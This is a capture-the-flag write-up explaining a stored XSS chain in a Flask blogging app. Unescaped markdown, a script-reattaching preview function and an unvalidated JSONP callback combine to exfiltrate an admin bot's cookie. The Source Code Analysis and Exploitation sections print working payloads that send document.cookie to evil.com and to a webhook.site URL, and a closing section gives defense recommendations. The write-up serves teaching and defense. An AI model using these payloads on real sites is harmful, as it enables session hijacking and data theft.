# Intigriti 2026 CTF — Full Write-up - Stored XSS via JSONP Callback Injection
## Table of Contents
1. [Challenge Overview](#challenge-overview)
2. [Reconnaissance](#reconnaissance)
3. [Source Code Analysis](#source-code-analysis)
4. [Vulnerability Chain](#vulnerability-chain)
5. [Exploitation](#exploitation)
6. [Defense Recommendations](#defense-recommendations)
7. [Conclusion](#conclusion)
---
## Challenge Overview
The challenge involves a Flask-based note-taking / blogging app called InkDrop. The goal is to capture a flag that is stored in a cookie when an admin bot visits a reported post.
Main features:
- User registration and authentication
- Create, edit, view posts (markdown content)
- Report posts to a moderator (triggers bot visit)
- Preview loaded via client-side JavaScript
---
## Reconnaissance
### Application Structure
| Endpoint | Purpose |
|----------|---------|
| `/` | Home page |
| `/challenge` | Challenge page |
| `/register`, `/login` | Auth |
| `/post/<id>` | View post (requires auth as author or admin) |
| `/post/new`, `/post/<id>/edit` | Create/edit posts |
| `/report/<id>` | Report post → bot visit |
| `/api/render?id=<id>` | Returns rendered post HTML as JSON |
| `/api/jsonp?callback=<name>` | JSONP endpoint |
| `/api/config` | Returns app config (e.g. `safeMode`) |
### Security Headers (post_view.html)
```html
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src * data:; connect-src *;
```
Implications:
- **script-src 'self'** — Only same-origin scripts; inline scripts blocked
- **connect-src *** — Fetch/XHR to any URL allowed (good for exfiltration)
---
## Source Code Analysis
### 1. render_markdown (app.py:52–62)
```python
def render_markdown(content):
html_content = content
html_content = re.sub(r'^### (.+)$', r'<h3>\1</h3>', html_content, flags=re.MULTILINE)
html_content = re.sub(r'^## (.+)$', r'<h2>\1</h2>', html_content, flags=re.MULTILINE)
html_content = re.sub(r'^# (.+)$', r'<h1>\1</h1>', html_content, flags=re.MULTILINE)
html_content = re.sub(r'\*\*(.+?)\*\*', r'<strong>\1</strong>', html_content)
html_content = re.sub(r'\*(.+?)\*', r'<em>\1</em>', html_content)
html_content = re.sub(r'\[(.+?)\]\((.+?)\)', r'<a href="\2">\1</a>', html_content)
html_content = html_content.replace('\n\n', '</p><p>')
html_content = f'<p>{html_content}</p>'
return html_content
```
Observations:
- No `html.escape()` or similar; user input is directly placed into HTML
- Raw HTML (including `<script>`) passes through unchanged
- Link regex does not sanitize `href` → `javascript:` URLs possible
- Capture groups in regexes are not escaped → reflected XSS in headings, links, etc.
This leads to **Stored XSS** when the rendered HTML is used in a dangerous sink.
### 2. Preview Flow (preview.js)
```javascript
fetch('/api/render?id=' + postId)
.then(response => response.json())
.then(function(data) {
const preview = document.getElementById('preview');
preview.innerHTML = data.html; // 1. HTML injection
processContent(preview); // 2. Script execution
});
```
Notes:
- `innerHTML` does **not** execute scripts in most browsers when parsing HTML
- `processContent` manually looks for scripts and re-attaches them:
```javascript
function processContent(container) {
const scripts = container.querySelectorAll('script');
scripts.forEach(function(script) {
if (script.src && script.src.includes('/api/')) {
const newScript = document.createElement('script');
newScript.src = script.src;
document.body.appendChild(newScript); // Script executes!
}
});
}
```
So `<script src="/api/...">` inside `data.html` will be loaded and executed even though `innerHTML` normally doesn’t run scripts.
### 3. /api/jsonp (app.py:215–234)
```python
callback = request.args.get('callback', 'handleData')
if '<' in callback or '>' in callback:
callback = 'handleData'
response = f"{callback}({json.dumps(user_data)})"
return Response(response, mimetype='application/javascript')
```
Observations:
- Only `<` and `>` are filtered
- Arbitrary JavaScript can be injected via the `callback` parameter
- Example: `callback=fetch('https://evil.com?c='+document.cookie);//` produces:
- `fetch('https://evil.com?c='+document.cookie);//)({...})`
- The `//` comments out the rest → only `fetch(...)` runs
This is **JSONP Callback Injection**.
### 4. Bot Behavior (bot.py)
```python
context.add_cookies([{
'name': 'flag',
'value': FLAG,
'domain': 'nginx',
'path': '/',
'httpOnly': False, # Accessible via document.cookie
...
}])
# ...login as admin, then visit post
page.goto(url, timeout=15000, wait_until='networkidle')
```
Flow:
- Bot logs in as admin
- Sets `flag` cookie (not httpOnly)
- Visits the reported post
- Any XSS runs in the bot’s context and can read `document.cookie`
---
## Vulnerability Chain
```
┌─────────────────┐ ┌─────────────────────┐ ┌──────────────────────┐
│ 1. render_ │ │ 2. processContent │ │ 3. JSONP Callback │
│ markdown │────▶│ executes │────▶│ Injection │
│ no escaping │ │ /api/ scripts │ │ arbitrary JS │
└─────────────────┘ └─────────────────────┘ └──────────────────────┘
│ │ │
▼ ▼ ▼
Raw HTML in post <script src="/api/jsonp? fetch(webhook+document.cookie)
including <script> callback=..."> exfiltrates flag
```
1. **render_markdown** allows raw HTML in post content.
2. **preview.js** injects this via `innerHTML` and `processContent` executes any `<script src="/api/...">`.
3. **JSONP** is used as a same-origin script that returns attacker-controlled JS via `callback`, achieving full arbitrary code execution.
---
## Exploitation
### Payload Design
Goal: run JavaScript that sends `document.cookie` to a webhook.
1. Use a same-origin script: `/api/jsonp` (satisfies `script-src 'self'`).
2. Inject via `callback`: `fetch('https://webhook.site/xxx?c='+document.cookie);//`.
3. Embed in post as:
```html
<script src="/api/jsonp?callback=fetch%28%27https%3A%2F%2Fwebhook.site%2Fxxx%3Fc%3D%27%2Bdocument.cookie%29%3B%2F%2F"></script>
```
URL encoding for the query part:
- `fetch(` → `fetch%28`
- `'` → `%27`
- `https://` → `https%3A%2F%2F`
- `/` → `%2F`
- `?c=` → `%3Fc%3D`
- `+` → `%2B`
- `);` → `%29%3B`
- `//` → `%2F%2F`
### Execution Steps
1. Register and log in.
2. Create a webhook (e.g. webhook.site) and get your URL.
3. Create a post with the payload above (replace `xxx` with your webhook ID).
4. Open the post page and click “Report to Moderator”.
5. Wait for the bot to visit; the flag will appear in the webhook request as `?c=flag=INTIGRITI{...}`.
### Final Payload
```html
<script src="/api/jsonp?callback=fetch%28%27https%3A%2F%2Fwebhook.site%2F7e149e6c-86dc-4bf3-8a27-40a60f26cd1f%3Fc%3D%27%2Bdocument.cookie%29%3B%2F%2F"></script>
```
### Why Other Payloads Fail
| Payload | Reason it fails |
|---------|-----------------|
| `<img src=x onerror=alert(1)>` | CSP blocks inline event handlers |
| `<script>alert(1)</script>` | innerHTML does not run inline scripts; `processContent` only handles scripts with `src` containing `/api/` |
| `[x](javascript:alert(1))` | Creates a link; bot does not click; no automatic exfiltration |
---
## Defense Recommendations
1. **render_markdown**
- Escape all user content before inserting into HTML (e.g. `html.escape()` in Python).
- Use a safe markdown library (e.g. `markdown` + `bleach`).
- Restrict link protocols to `http` and `https`.
2. **processContent**
- Do not dynamically execute scripts from user-controlled HTML.
- Remove or restrict the logic that re-attaches script tags; prefer server-side rendering and no script execution from user content.
3. **JSONP**
- Validate `callback` against an allowlist (e.g. alphanumeric identifiers).
- Consider replacing JSONP with standard JSON APIs and CORS.
4. **Flag storage**
- Use `httpOnly` for sensitive cookies to prevent access via `document.cookie`.
5. **CSP**
- `connect-src *` is too permissive; restrict to required origins.
---
## Conclusion
The challenge combines:
- Unsafe HTML rendering (Stored XSS)
- A custom script execution mechanism (`processContent`)
- Insufficient JSONP callback validation
This chain enables arbitrary JavaScript execution in the admin bot’s context and exfiltration of the flag cookie. The same pattern could be used for session hijacking, privilege escalation, and data theft in similar applications.
**Flag:** `INTIGRITI{}`